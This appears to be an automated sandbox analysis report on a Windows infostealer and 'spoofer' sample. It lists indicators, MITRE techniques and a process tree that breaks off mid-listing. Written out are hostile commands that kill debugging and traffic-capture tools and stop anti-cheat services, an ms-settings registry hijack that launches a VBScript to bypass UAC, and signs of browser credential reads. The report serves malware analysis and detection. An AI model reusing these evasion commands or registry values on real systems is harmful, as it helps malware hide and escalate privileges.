8e5971238652431a8eed55deedb8d559db5d26636824a85a0f8801bfa9f5d720

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	A Spoofer.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	3504	cmd.exe
28	3504	cmd.exe
29	3504	cmd.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000300000001f1db-5.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	A Spoofer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	A Spoofer.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	23ed3662b0fbfec8d88ca6d7beafe382.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	HlNZMT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	svchost (1).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	chrome.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	chrome.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\Control Panel\International\Geo\Nation	chrome.exe

Executes dropped EXE 13 IoCs

pid	Process
3712	HlNZMT.exe
2744	A Spoofer.exe
2532	svchost (1).exe
228	chromedriver.exe
2828	chrome.exe
4440	chrome.exe
5000	chrome.exe
2468	chrome.exe
2184	chrome.exe
3856	chrome.exe
3444	chrome.exe
4392	elevation_service.exe
4388	msedgedriver.exe

Loads dropped DLL 1 IoCs

pid	Process
2532	svchost (1).exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 14 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x00080000000231e3-11.dat	themida
behavioral2/files/0x00080000000231e3-14.dat	themida
behavioral2/files/0x00080000000231e3-28.dat	themida
behavioral2/memory/2744-27-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-60-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-61-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-67-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-66-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-58-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-70-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-72-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-79-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-245-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida
behavioral2/memory/2744-247-0x00007FF698D40000-0x00007FF699728000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	A Spoofer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	msedgedriver.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	msedgedriver.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2744	A Spoofer.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\shared_proto_db\metadata\LOCK	chrome.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\shared_proto_db\metadata\000003.log	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\klist.exe	HlNZMT.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\PeopleApp.exe	HlNZMT.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	HlNZMT.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\data_1	msedge.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\Extension State\000003.log	chrome.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\data_1	msedge.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\GrShaderCache\GPUCache\data_2	msedge.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc.exe	HlNZMT.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Time.exe	HlNZMT.exe
File created	C:\Program Files\scoped_dir228_549087890\ShaderCache\data_2	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\DawnCache\data_0	chrome.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\GrShaderCache\GPUCache\data_0	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ORGCHART.EXE	HlNZMT.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PerfBoost.exe	HlNZMT.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\shared_proto_db\MANIFEST-000001	msedge.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.ShowHelp.exe	HlNZMT.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\codecpacks.webp.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\ShaderCache\GPUCache\data_1	msedge.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\Sync Data\LevelDB\MANIFEST-000001	msedge.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\Extension Scripts\CURRENT	chrome.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\1c58f832-7ae2-4ccb-9a29-ae895f2dfba6.tmp	msedge.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\GrShaderCache\GPUCache	msedge.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\data_0	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jp2launcher.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\GrShaderCache\data_2	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\shared_proto_db\000003.log	chrome.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\GRAPH.EXE	HlNZMT.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\data_3	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	HlNZMT.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Cortana.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\Favicons	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	HlNZMT.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\data_2	msedge.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	HlNZMT.exe
File created	C:\Program Files\scoped_dir228_549087890\GrShaderCache\data_2	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\Extension Scripts\LOG	chrome.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\Login Data-journal	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\shared_proto_db\MANIFEST-000001	chrome.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\Code Cache\wasm\index	msedge.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\Sync Data\LevelDB\LOCK	msedge.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\load_statistics.db-wal	msedge.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\keytool.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\Favicons	chrome.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\Login Data For Account	chrome.exe
File created	C:\Program Files\scoped_dir4388_1400662056\Default\Sync Data\LevelDB\LOG	msedge.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\rmiregistry.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Crashpad\metadata	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\Extension State\MANIFEST-000001	chrome.exe
File opened for modification	C:\Program Files\scoped_dir4388_1400662056\Default\GPUCache\index	msedge.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	HlNZMT.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\keytool.exe	HlNZMT.exe
File opened for modification	C:\Program Files\scoped_dir228_549087890\Default\Cache\Cache_Data\data_3	chrome.exe
File created	C:\Program Files\scoped_dir228_549087890\Default\Local Storage\leveldb\LOG	chrome.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	HlNZMT.exe

Launches sc.exe 20 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
436	sc.exe
5032	sc.exe
4524	sc.exe
4508	sc.exe
4844	sc.exe
5104	sc.exe
624	sc.exe
740	sc.exe
2668	sc.exe
2828	sc.exe
2536	sc.exe
3680	sc.exe
4988	sc.exe
4960	sc.exe
4480	sc.exe
3868	sc.exe
2208	sc.exe
4612	sc.exe
3724	sc.exe
3828	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2356	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 23 IoCs

evasion

pid	Process
4960	taskkill.exe
4012	taskkill.exe
116	taskkill.exe
4508	taskkill.exe
3344	taskkill.exe
2804	taskkill.exe
4732	taskkill.exe
4596	taskkill.exe
4736	taskkill.exe
832	taskkill.exe
1684	taskkill.exe
4260	taskkill.exe
4504	taskkill.exe
1556	taskkill.exe
4508	taskkill.exe
4260	taskkill.exe
3896	taskkill.exe
4072	taskkill.exe
3416	taskkill.exe
1340	taskkill.exe
1968	taskkill.exe
3392	taskkill.exe
3872	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell\open\command	taskkill.exe
Key created	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings	taskkill.exe
Key created	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell	taskkill.exe
Key created	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell\open	taskkill.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\nitechair4679085.vbs"	taskkill.exe
Key created	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2828	chrome.exe
2828	chrome.exe
2828	chrome.exe
740	msedge.exe
740	msedge.exe
4908	msedge.exe
4908	msedge.exe
4908	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2828	chrome.exe
2828	chrome.exe
4908	msedge.exe
4908	msedge.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	svchost (1).exe
Token: SeDebugPrivilege	4260	taskkill.exe
Token: SeDebugPrivilege	3896	Conhost.exe
Token: SeDebugPrivilege	4508	taskkill.exe
Token: SeDebugPrivilege	116	taskkill.exe
Token: SeDebugPrivilege	4596	taskkill.exe
Token: SeDebugPrivilege	4960	sc.exe
Token: SeDebugPrivilege	4736	cmd.exe
Token: SeDebugPrivilege	832	taskkill.exe
Token: SeDebugPrivilege	3344	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	3416	cmd.exe
Token: SeDebugPrivilege	3872	taskkill.exe
Token: SeDebugPrivilege	1340	sihclient.exe
Token: SeDebugPrivilege	3392	taskkill.exe
Token: SeDebugPrivilege	4504	taskkill.exe
Token: SeDebugPrivilege	4012	taskkill.exe
Token: SeDebugPrivilege	1556	taskkill.exe
Token: SeDebugPrivilege	2804	taskkill.exe
Token: SeDebugPrivilege	1684	taskkill.exe
Token: SeDebugPrivilege	4260	taskkill.exe
Token: SeDebugPrivilege	4508	taskkill.exe
Token: SeDebugPrivilege	1968	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2828	chrome.exe
2828	chrome.exe
4908	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 3712	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	87
PID 4448 wrote to memory of 3712	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	87
PID 4448 wrote to memory of 3712	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	87
PID 4448 wrote to memory of 2744	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	90
PID 4448 wrote to memory of 2744	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	90
PID 4448 wrote to memory of 2532	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	92
PID 4448 wrote to memory of 2532	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	92
PID 4448 wrote to memory of 2532	4448	23ed3662b0fbfec8d88ca6d7beafe382.exe	92
PID 2532 wrote to memory of 3392	2532	svchost (1).exe	183
PID 2532 wrote to memory of 3392	2532	svchost (1).exe	183
PID 2532 wrote to memory of 3392	2532	svchost (1).exe	183
PID 2532 wrote to memory of 992	2532	svchost (1).exe	101
PID 2532 wrote to memory of 992	2532	svchost (1).exe	101
PID 2532 wrote to memory of 992	2532	svchost (1).exe	101
PID 2532 wrote to memory of 1812	2532	svchost (1).exe	214
PID 2532 wrote to memory of 1812	2532	svchost (1).exe	214
PID 2532 wrote to memory of 1812	2532	svchost (1).exe	214
PID 1812 wrote to memory of 436	1812	cmd.exe	145
PID 1812 wrote to memory of 436	1812	cmd.exe	145
PID 1812 wrote to memory of 436	1812	cmd.exe	145
PID 436 wrote to memory of 4292	436	sc.exe	202
PID 436 wrote to memory of 4292	436	sc.exe	202
PID 436 wrote to memory of 4292	436	sc.exe	202
PID 4292 wrote to memory of 4380	4292	net.exe	114
PID 4292 wrote to memory of 4380	4292	net.exe	114
PID 4292 wrote to memory of 4380	4292	net.exe	114
PID 3712 wrote to memory of 1628	3712	HlNZMT.exe	112
PID 3712 wrote to memory of 1628	3712	HlNZMT.exe	112
PID 3712 wrote to memory of 1628	3712	HlNZMT.exe	112
PID 2532 wrote to memory of 2412	2532	svchost (1).exe	116
PID 2532 wrote to memory of 2412	2532	svchost (1).exe	116
PID 2532 wrote to memory of 2412	2532	svchost (1).exe	116
PID 2412 wrote to memory of 2356	2412	cmd.exe	117
PID 2412 wrote to memory of 2356	2412	cmd.exe	117
PID 2412 wrote to memory of 2356	2412	cmd.exe	117
PID 2744 wrote to memory of 4412	2744	A Spoofer.exe	121
PID 2744 wrote to memory of 4412	2744	A Spoofer.exe	121
PID 2744 wrote to memory of 4424	2744	A Spoofer.exe	207
PID 2744 wrote to memory of 4424	2744	A Spoofer.exe	207
PID 4424 wrote to memory of 1068	4424	cmd.exe	157
PID 4424 wrote to memory of 1068	4424	cmd.exe	157
PID 4424 wrote to memory of 1556	4424	cmd.exe	156
PID 4424 wrote to memory of 1556	4424	cmd.exe	156
PID 4424 wrote to memory of 2224	4424	cmd.exe	122
PID 4424 wrote to memory of 2224	4424	cmd.exe	122
PID 2744 wrote to memory of 4940	2744	A Spoofer.exe	224
PID 2744 wrote to memory of 4940	2744	A Spoofer.exe	224
PID 4940 wrote to memory of 4260	4940	cmd.exe	163
PID 4940 wrote to memory of 4260	4940	cmd.exe	163
PID 2744 wrote to memory of 4700	2744	A Spoofer.exe	223
PID 2744 wrote to memory of 4700	2744	A Spoofer.exe	223
PID 4700 wrote to memory of 3896	4700	cmd.exe	228
PID 4700 wrote to memory of 3896	4700	cmd.exe	228
PID 2744 wrote to memory of 2932	2744	A Spoofer.exe	222
PID 2744 wrote to memory of 2932	2744	A Spoofer.exe	222
PID 2932 wrote to memory of 2828	2932	cmd.exe	230
PID 2932 wrote to memory of 2828	2932	cmd.exe	230
PID 2744 wrote to memory of 4784	2744	A Spoofer.exe	128
PID 2744 wrote to memory of 4784	2744	A Spoofer.exe	128
PID 4784 wrote to memory of 4508	4784	cmd.exe	220
PID 4784 wrote to memory of 4508	4784	cmd.exe	220
PID 2744 wrote to memory of 2148	2744	A Spoofer.exe	168
PID 2744 wrote to memory of 2148	2744	A Spoofer.exe	168
PID 2148 wrote to memory of 116	2148	cmd.exe	219

C:\Users\Admin\AppData\Local\Temp\23ed3662b0fbfec8d88ca6d7beafe382.exe
"C:\Users\Admin\AppData\Local\Temp\23ed3662b0fbfec8d88ca6d7beafe382.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Users\Admin\AppData\Local\Temp\HlNZMT.exe
  C:\Users\Admin\AppData\Local\Temp\HlNZMT.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\24b254c9.bat" "
    3⤵
    PID:1628
- C:\Users\Admin\AppData\Local\Temp\A Spoofer.exe
  "C:\Users\Admin\AppData\Local\Temp\A Spoofer.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c color 3
    3⤵
    PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\A Spoofer.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
    3⤵
    PID:4424
  - - C:\Windows\system32\sc.exe
      sc stop KProcessHacker1
      4⤵
      Launches sc.exe
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
    3⤵
    PID:2148
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
    3⤵
    PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq x32dbg*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3452
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq x32dbg*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop FACEIT >nul 2>&1
    3⤵
    PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
    3⤵
    PID:1492
  - - C:\Windows\system32\sc.exe
      sc stop KProcessHacker3
      4⤵
      Launches sc.exe
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
    3⤵
    PID:4336
  - - C:\Windows\system32\sc.exe
      sc stop KProcessHacker2
      4⤵
      Launches sc.exe
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
    3⤵
    PID:1264
  - - C:\Windows\system32\sc.exe
      sc stop npf
      4⤵
      Launches sc.exe
      PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
    3⤵
    PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
    3⤵
    PID:4920
  - - C:\Windows\system32\sc.exe
      sc stop HTTPDebuggerPro
      4⤵
      Launches sc.exe
      PID:624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
    3⤵
    PID:1812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
    3⤵
    PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1
    3⤵
    PID:4700
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq charles*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
    3⤵
    PID:2268
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
    3⤵
    PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
    3⤵
    PID:5000
  - - C:\Windows\system32\sc.exe
      sc stop KProcessHacker2
      4⤵
      Launches sc.exe
      PID:2536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
    3⤵
    PID:3416
  - - C:\Windows\system32\sc.exe
      sc stop npf
      4⤵
      Launches sc.exe
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
    3⤵
    PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
    3⤵
    PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
    3⤵
    PID:3580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1
    3⤵
    PID:2828
  - - C:\Windows\system32\net.exe
      net stop ESEADriver2
      4⤵
      PID:2932
    - - C:\Windows\system32\sc.exe
        
        sc stop HTTPDebuggerPro
        5⤵
        Launches sc.exe
        
        PID:2828
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Program Files\scoped_dir228_549087890" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\scoped_dir228_549087890\Crashpad" "--metrics-dir=C:\Program Files\scoped_dir228_549087890" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffe4b959758,0x7ffe4b959768,0x7ffe4b959778
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
    3⤵
    PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
    3⤵
    PID:408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
    3⤵
    PID:2596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
    3⤵
    PID:5080
- - C:\Windows\system32\cmd.exe
